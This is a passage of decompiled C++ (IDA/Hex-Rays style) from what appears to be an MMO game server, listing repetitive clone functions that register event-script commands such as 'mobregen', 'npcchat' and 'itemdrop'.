*v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interruptset", 1u, 3, 5); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2600: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptSet___vftable_)(int tr); //----- (004AA470) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptErase::sb_CloneMe(PineEventScriptNode::ShineInterruptErase *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interrupterase", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptErase::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2624: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptErase___vftable_)(int tr); //----- (004AA4D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitInterrupt::sb_CloneMe(PineEventScriptNode::ShineWaitInterrupt *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitinterrupt", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitInterrupt::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2648: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitInterrupt___vftable_)(int tr); //----- (004AA530) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobRegen::sb_CloneMe(PineEventScriptNode::ShineMobRegen *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobregen", 1u, 6, 7); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobRegen::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B266C: using guessed type int (__stdcall *PineEventScriptNode__ShineMobRegen___vftable_)(int tr); //----- (004AA590) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorBuild::sb_CloneMe(PineEventScriptNode::ShineDoorBuild *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "doorbuild", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorBuild::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2680: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorBuild___vftable_)(int tr); //----- (004AA5F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCStand::sb_CloneMe(PineEventScriptNode::ShineNPCStand *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcstand", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCStand::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2694: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCStand___vftable_)(int tr); //----- (004AA650) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Mob::sb_CloneMe(PineEventScriptNode::ShineChange2Mob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2mob", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Mob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B26A8: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Mob___vftable_)(int tr); //----- (004AA6B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Door::sb_CloneMe(PineEventScriptNode::ShineChange2Door *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2door", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Door::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B26BC: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Door___vftable_)(int tr); //----- (004AA710) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2NPC::sb_CloneMe(PineEventScriptNode::ShineChange2NPC *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2npc", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2NPC::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B26D0: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2NPC___vftable_)(int tr); //----- (004AA770) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineExchange2Mob::sb_CloneMe(PineEventScriptNode::ShineExchange2Mob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "exchange2mob", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineExchange2Mob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B26E4: using guessed type int (__stdcall *PineEventScriptNode__ShineExchange2Mob___vftable_)(int tr); //----- (004AA7D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorOpen::sb_CloneMe(PineEventScriptNode::ShineDoorOpen *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "dooropen", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorOpen::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2708: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorOpen___vftable_)(int tr); //----- (004AA830) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorClose::sb_CloneMe(PineEventScriptNode::ShineDoorClose *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "doorclose", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorClose::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2728: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorClose___vftable_)(int tr); //----- (004AA890) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectVanish::sb_CloneMe(PineEventScriptNode::ShineObjectVanish *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "vanish", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectVanish::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2748: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectVanish___vftable_)(int tr); //----- (004AA8F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegenGroup::sb_CloneMe(PineEventScriptNode::ShineRegenGroup *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "regengroup", 0, 2, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegenGroup::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2764: using guessed type int (__stdcall *PineEventScriptNode__ShineRegenGroup___vftable_)(int tr); //----- (004AA950) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitUserLogin::sb_CloneMe(PineEventScriptNode::ShineWaitUserLogin *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitlogin", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitUserLogin::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2784: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitUserLogin___vftable_)(int tr); //----- (004AA9B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePause::sb_CloneMe(PineEventScriptNode::ShinePause *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "pause", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePause::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B27A4: using guessed type int (__stdcall *PineEventScriptNode__ShinePause___vftable_)(int tr); //----- (004AAA10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCChat::sb_CloneMe(PineEventScriptNode::ShineNPCChat *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcchat", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCChat::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B27C0: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCChat___vftable_)(int tr); //----- (004AAA70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCShout::sb_CloneMe(PineEventScriptNode::ShineNPCShout *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcshout", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCShout::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B27DC: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCShout___vftable_)(int tr); //----- (004AAAD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindow::sb_CloneMe(PineEventScriptNode::ShineChatWindow *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "chatwin", 0, 2, 9); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindow::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B27FC: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindow___vftable_)(int tr); //----- (004AAB30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindowRange::sb_CloneMe(PineEventScriptNode::ShineChatWindowRange *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "chatwinrange", 0, 4, 9); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindowRange::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2818: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindowRange___vftable_)(int tr); //----- (004AAB90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSomeoneShout::sb_CloneMe(PineEventScriptNode::ShineSomeoneShout *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "someoneshout", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSomeoneShout::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B283C: using guessed type int (__stdcall *PineEventScriptNode__ShineSomeoneShout___vftable_)(int tr); //----- (004AABF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSummonMob::sb_CloneMe(PineEventScriptNode::ShineSummonMob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "summonmob", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSummonMob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2860: using guessed type int (__stdcall *PineEventScriptNode__ShineSummonMob___vftable_)(int tr); //----- (004AAC50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineQuestResult::sb_CloneMe(PineEventScriptNode::ShineQuestResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "questresult", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineQuestResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2880: using guessed type int (__stdcall *PineEventScriptNode__ShineQuestResult___vftable_)(int tr); //----- (004AACB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReward::sb_CloneMe(PineEventScriptNode::ShineReward *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "reward", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReward::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B28A0: using guessed type int (__stdcall *PineEventScriptNode__ShineReward___vftable_)(int tr); //----- (004AAD10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBroadcast::sb_CloneMe(PineEventScriptNode::ShineBroadcast *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "broadcast", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBroadcast::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B28BC: using guessed type int (__stdcall *PineEventScriptNode__ShineBroadcast___vftable_)(int tr); //----- (004AAD70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineLinkTo::sb_CloneMe(PineEventScriptNode::ShineLinkTo *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "linkto", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineLinkTo::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B28DC: using guessed type int (__stdcall *PineEventScriptNode__ShineLinkTo___vftable_)(int tr); //----- (004AADD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemDrop::sb_CloneMe(PineEventScriptNode::ShineItemDrop *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemdrop", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemDrop::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2938: using guessed type int (__stdcall *PineEventScriptNode__ShineItemDrop___vftable_)(int tr); //----- (004AAE30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoClickMe::sb_CloneMe(PineEventScriptNode::ShineWhoClickMe *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "whoclickme", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoClickMe::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B28F8: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoClickMe___vftable_)(int tr); //----- (004AAE90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoKillMe::sb_CloneMe(PineEventScriptNode::ShineWhoKillMe *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "whokillme", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoKillMe::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2918: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoKillMe___vftable_)(int tr); //----- (004AAEF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvenSearch::sb_CloneMe(PineEventScriptNode::ShineInvenSearch *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "invensearch", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvenSearch::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2958: using guessed type int (__stdcall *PineEventScriptNode__ShineInvenSearch___vftable_)(int tr); //----- (004AAF50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemCreate::sb_CloneMe(PineEventScriptNode::ShineItemCreate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemcreate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemCreate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2978: using guessed type int (__stdcall *PineEventScriptNode__ShineItemCreate___vftable_)(int tr); //----- (004AAFB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemErase::sb_CloneMe(PineEventScriptNode::ShineItemErase *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemerase", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemErase::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2998: using guessed type int (__stdcall *PineEventScriptNode__ShineItemErase___vftable_)(int tr); //----- (004AB010) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindHandle::sb_CloneMe(PineEventScriptNode::ShineFindHandle *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "findhandle", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindHandle::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B29B8: using guessed type int (__stdcall *PineEventScriptNode__ShineFindHandle___vftable_)(int tr); //----- (004AB070) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatSet::sb_CloneMe(PineEventScriptNode::ShineAbstatSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "abstateset", 1u, 3, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B29D8: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatSet___vftable_)(int tr); //----- (004AB0D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatReset::sb_CloneMe(PineEventScriptNode::ShineAbstatReset *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "abstatereset", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatReset::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B29F8: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatReset___vftable_)(int tr); //----- (004AB130) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSuicide::sb_CloneMe(PineEventScriptNode::ShineSuicide *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "suicide", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = 